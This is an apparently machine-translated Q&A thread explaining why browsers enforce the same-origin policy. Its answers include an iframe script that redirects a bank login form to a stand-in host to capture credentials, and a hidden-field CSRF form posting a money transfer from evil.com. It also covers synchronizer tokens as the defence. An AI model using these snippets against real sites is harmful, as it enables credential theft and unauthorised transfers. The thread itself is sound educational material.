为什么需要同源策略的简单示例

Yot*_*tam 30 security same-origin-policy web

我已经读到了Same Origin Policy,但是为了更好地理解这个问题:有人可以写一个简单的代码(用任何语言)来演示SOP停止的攻击吗?

在SOP出现之前怎么可能攻击某人?

Den*_*nis 32

<iframe id="bank" src="https://yourbank.com"></iframe>

<script>
    window.onload = function() {
        document.getElementById('bank').contentWindow.document.forms[0].action =
            'http://example.com';
    };
</script>
Run Code Online (Sandbox Code Playgroud)

Javascript代码更改了表单的操作属性(目的地,在发言方面),因此当您提交表单时,您将凭据发送给我,而不是您的银行.

如果我在我的服务器上设置了一个PHP脚本,将您重定向到您的银行,您甚至都不会注意到它.

使用同源策略,此攻击是不可能的.我网域上的网站无法读取或修改银行网站的内容.


Cir*_*四事件 10

简单攻击示例:跨站请求伪造(CSRF)

evil.com攻击者的页面上(jQuery因为懒惰):

<form method="post" action="http://bank.com/trasfer">
    <input type="hidden" name="to" value="ciro">
    <input type="hidden" name="ammount" value="100000000">
    <input type="submit" value="CLICK TO CLAIM YOUR PRIZE!!!">
</form>
Run Code Online (Sandbox Code Playgroud)

攻击者然后说服你访问bank.com(你获得了奖品!)

如果没有进一步的安全措施,这将起作用,因为bank.com将发送身份验证cookie 并对您进行身份验证.

另见:OWASP的CSRF.

主要安全措施:同步器令牌模式

用于上述问题的主要解决方案是:对于每个表单authenticity_token,生成一次性随机序列作为隐藏参数,并且仅在服务器获取参数时接受请求.

例如,Rails的HTML帮助器会自动向HTML添加一个evil.com参数,因此合法的表单如下所示:

<form action="http://bank.com/transfer" method="post">
  <p><input type="hidden" name="authenticity_token"
            value="j/DcoJ2VZvr7vdf8CHKsvjdlDbmiizaOb5B8DMALg6s=" ></p>
  <p><input type="hidden" name="to"      value="ciro"></p>
  <p><input type="hidden" name="ammount" value="100000000"></p>
  <p><button type="submit">Send 100000000$ to Ciro.</button></p>
</form>
Run Code Online (Sandbox Code Playgroud)

因此,如果evil.com发出单个请求,他永远不会猜到该令牌,服务器会拒绝该事务.

但是,是什么阻止了evil.com2个请求:

  1. XHR获取令牌
  2. 包含好令牌的XHR POST

是SOP发挥作用的地方:禁止第1步,因为它违反了SOP.SOP阻止您将交叉请求数据回JavaScript.然而,第2步是完全可能的.

另请参阅:OWASP上的同步器令牌模式.

为什么不直接发送交叉请求cookie?

我问自己:但是如果实现有如下规则:"允许任何请求,但只在当前域XHR上发送cookie"会怎么样?

但这仍然允许另一种类型的攻击:当身份验证不基于cookie时,而是基于请求的源(IP).

例如,您在公司的Intranet中,从那里可以访问内部服务器,该服务器从外部看不到并提供机密数据.

是否所有跨域请求都被禁止?

甚至忘了CORS,,我们每天都这样做!

来自MDN:

  • 通常允许跨源写入:链接,重定向和表单提交.

  • 通常允许跨源嵌入:图像,外部CSS和Javascript,iframe.

  • 通常不允许跨源读取:XHR(上面的示例),$.get读取.

    但是,读取访问通常会通过嵌入泄漏.例如,您可以读取嵌入图像的宽度和高度,嵌入式脚本的操作或嵌入式资源可用性(因此可能是用户登录或未登录到给定域)

其他预防方法

也可以看看:

  • @Cyber​​Mew 正是,它是实现 SOP 的浏览器。如果用户使用未实施 SOP 的易受攻击的浏览器,则用户如果访问不受信任的网站,就会遭到黑客的大量攻击。然而,银行也使用重新认证(在关键操作之前询问密码)。当然,所有主流浏览器都默认实现 SOP。 (2认同)